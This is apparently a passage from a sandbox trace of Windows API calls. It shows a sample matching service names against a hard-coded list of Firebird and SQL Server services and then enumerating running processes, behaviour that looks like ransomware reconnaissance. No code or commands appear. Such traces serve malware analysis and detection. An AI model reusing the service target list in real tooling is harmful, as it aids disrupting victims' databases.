	[0186.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.014] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0186.014] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0186.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0186.014] lstrlenW (lpString="lfsvc") returned 5
	[0186.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0186.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0186.014] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0186.014] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0186.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0186.014] lstrlenW (lpString="lmhosts") returned 7
	[0186.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0186.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0186.015] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0186.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0186.015] lstrlenW (lpString="LSM") returned 3
	[0186.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0186.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0186.015] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0186.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0186.015] lstrlenW (lpString="MpsSvc") returned 6
	[0186.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0186.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0186.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0186.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0186.015] lstrlenW (lpString="NcbService") returned 10
	[0186.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0186.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0186.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0186.015] lstrlenW (lpString="netprofm") returned 8
	[0186.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0186.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0186.015] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0186.015] lstrlenW (lpString="NgcSvc") returned 6
	[0186.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0186.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0186.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0186.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0186.015] lstrlenW (lpString="NlaSvc") returned 6
	[0186.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0186.016] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0186.016] lstrlenW (lpString="nsi") returned 3
	[0186.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0186.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0186.016] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0186.016] lstrlenW (lpString="PcaSvc") returned 6
	[0186.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0186.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0186.016] lstrlenW (lpString="PlugPlay") returned 8
	[0186.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0186.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0186.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0186.016] lstrlenW (lpString="Power") returned 5
	[0186.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0186.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0186.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0186.016] lstrlenW (lpString="ProfSvc") returned 7
	[0186.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0186.016] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0186.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0186.017] lstrlenW (lpString="RpcEptMapper") returned 12
	[0186.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0186.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0186.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0186.017] lstrlenW (lpString="RpcSs") returned 5
	[0186.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0186.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0186.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0186.017] lstrlenW (lpString="SamSs") returned 5
	[0186.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0186.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0186.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0186.017] lstrlenW (lpString="Schedule") returned 8
	[0186.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0186.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0186.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0186.017] lstrlenW (lpString="SecurityHealthService") returned 21
	[0186.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0186.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0186.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0186.017] lstrlenW (lpString="SENS") returned 4
	[0186.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0186.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0186.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0186.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0186.018] lstrlenW (lpString="ShellHWDetection") returned 16
	[0186.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0186.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0186.018] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0186.018] lstrlenW (lpString="Spooler") returned 7
	[0186.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0186.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0186.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0186.018] lstrlenW (lpString="StateRepository") returned 15
	[0186.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0186.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0186.018] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0186.018] lstrlenW (lpString="SysMain") returned 7
	[0186.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0186.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0186.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0186.018] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0186.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0186.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0186.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0186.018] lstrlenW (lpString="Themes") returned 6
	[0186.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0186.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0186.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0186.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0186.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0186.019] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0186.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0186.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0186.019] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0186.019] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0186.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76c0c0 | out: hHeap=0x710000) returned 1
	[0186.019] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330
	[0186.380] Process32FirstW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0186.380] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0186.381] lstrlenW (lpString="System") returned 6
	[0186.381] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0186.381] lstrlenW (lpString="smss.exe") returned 8
	[0186.381] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0186.382] lstrlenW (lpString="csrss.exe") returned 9
	[0186.382] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0186.382] lstrlenW (lpString="wininit.exe") returned 11
	[0186.382] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0186.382] lstrlenW (lpString="csrss.exe") returned 9
	[0186.383] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0186.383] lstrlenW (lpString="winlogon.exe") returned 12
	[0186.383] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0186.383] lstrlenW (lpString="services.exe") returned 12
	[0186.383] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0186.384] lstrlenW (lpString="lsass.exe") returned 9
	[0186.384] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0186.384] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0186.384] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0186.385] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0186.385] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.385] lstrlenW (lpString="svchost.exe") returned 11
	[0186.385] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.385] lstrlenW (lpString="svchost.exe") returned 11
	[0186.385] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0186.386] lstrlenW (lpString="dwm.exe") returned 7
	[0186.386] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.386] lstrlenW (lpString="svchost.exe") returned 11
	[0186.386] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.387] lstrlenW (lpString="svchost.exe") returned 11
	[0186.387] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.387] lstrlenW (lpString="svchost.exe") returned 11
	[0186.387] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.388] lstrlenW (lpString="svchost.exe") returned 11
	[0186.388] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.388] lstrlenW (lpString="svchost.exe") returned 11
	[0186.388] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.389] lstrlenW (lpString="svchost.exe") returned 11
	[0186.389] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.389] lstrlenW (lpString="svchost.exe") returned 11
	[0186.389] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.389] lstrlenW (lpString="svchost.exe") returned 11
	[0186.389] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.390] lstrlenW (lpString="svchost.exe") returned 11
	[0186.390] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.390] lstrlenW (lpString="svchost.exe") returned 11
	[0186.390] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0186.391] lstrlenW (lpString="spoolsv.exe") returned 11
	[0186.391] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.391] lstrlenW (lpString="svchost.exe") returned 11
	[0186.391] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0186.392] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0186.392] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0186.392] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0186.392] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0186.392] lstrlenW (lpString="audiodg.exe") returned 11
	[0186.392] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0186.393] lstrlenW (lpString="Memory Compression") returned 18
	[0186.393] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0186.393] lstrlenW (lpString="taskhostw.exe") returned 13
	[0186.393] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0186.394] lstrlenW (lpString="sihost.exe") returned 10
	[0186.394] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.394] lstrlenW (lpString="svchost.exe") returned 11
	[0186.394] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0186.395] lstrlenW (lpString="taskhostw.exe") returned 13
	[0186.395] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0186.395] lstrlenW (lpString="explorer.exe") returned 12
	[0186.395] Process32NextW (in: hSnapshot=0x330, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0186.395] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
